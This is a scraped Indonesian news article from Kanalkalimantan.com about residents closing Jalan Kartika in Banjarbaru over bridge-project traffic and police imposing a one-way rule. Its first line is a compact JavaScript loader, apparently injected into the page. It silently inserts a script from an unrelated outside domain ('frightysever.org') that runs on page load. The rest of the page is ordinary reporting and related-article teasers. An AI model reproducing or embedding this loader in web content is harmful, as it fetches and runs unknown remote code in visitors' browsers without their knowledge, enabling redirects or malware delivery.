(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Masyarakat pengguna jalan dikejutkan dengan penutupan Jalan Kartika yang menjadi jalur alternatif roda dua melintas di samping proyek perbaikan Jembatan Sei Ulin A Yani Km 31,5.
Menurut informasi penutupan ruas jalan ini dilakukan oleh warga sekitar yang terdampak proyek, pada Jum’at (8/8/2025) malam.
Hingga pagi hari portal penutup jalan tersebut masih dipasang warga sampai akhirnya mendapat perhatian Polres Banjarbaru dan Dinas Perhubungan Kota Banjarbaru.
Baca juga: Indeks Optimisme 2025: Kelompok Muda Kalah Optimis dari Generasi Lebih Tua
Kabag Ops Polres Banjarbaru, Kompol Sony Fratago Lumban Gaol mengatakan, pihaknya datang menindaklanjuti laporan warga terkait penggunaan jalur di Jalan Kartika.
“Jadi masyarakat di Jalan Kartika ini merasa dengan dijadikannya jalan alternatif memicu perpadatan kendaraan, sehingga warga di sini Jalan Kartika hanya satu arah,” katanya.
Pemberlakukan satu arah pun dilakukan terhitung hari Sabtu (9/8/2025), di mana masyarakat pengguna jalan hanya dapat melintasi Jalan Kartika dari arah Jalan Kebun Karet.
Baca juga: Meriah, Dinas PUPR Kalsel Gelar Bermacam Lomba Peringati HUT RI dan Harjad Kalsel
Sebaliknya pengguna jalan dari arah Jalan Ahmad Yani diharuskan mencari alternatif lain, tidak diperkenankan masuk melewati Jalan Kartika.
“Jadi perlu kami sampaikan kepada pengguna jalan bahwa Jalan Kartika boleh dilintasi, namun hanya satu arah, sebagai jalur masuknya di Jalan Kebun Karet, sehingga gerbang Jalan Kartika ini menjadi jalan keluar,” jelasnya.
“Dan sebaliknya masyarakat yang melintasi Jalan Ahmad Yani tidak diperkenankan masuk lewat Jalan Kartika,” tegasnya.
Baca juga: Angka Sertifikasi Tanah Wakaf Naik di Kantor ATR/BPN Banjarbaru
Kemudian sambung Sony, hasil koordinasi warga dengan Dishub maupun Satlantas Polres Banjarbaru akan diturunkan di lapangan untuk mengatur lalu lintas yang ada.
“Terkait pengalihan arus Polres bersama Dishub akan membuat sprint personel untuk berjaga di sini dibantu kawan-kawan proyek,” tutup Kabag Ops Polres Banjarbaru.
Sementara Sekretaris Komisi III DPRD Kota Banjarbaru, Rizal Siregar yang berhadir di lokasi saat pembongkaran penutupan jalan mengapresiasi kegiatan tersebut.
“Jalan Kartika yang sejak malam ditutup warga karena terganggu akibat padatnya arus kendaraan yang melintas. Akhirnya dibuka kembali, berkat kordinasi yang dilakukan warga dengan Polres Banjarbaru maupun Dishub Banjarbaru,” katanya.
Wakil rakyat ini berharap tindaklanjutnya dapat mengurangi bahkan mengatasi dampak sosial akibat proyek pembangunan jembatan ini.(Kanalkalimantan.com/wanda)
Reporter: wanda
Editior: bie
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.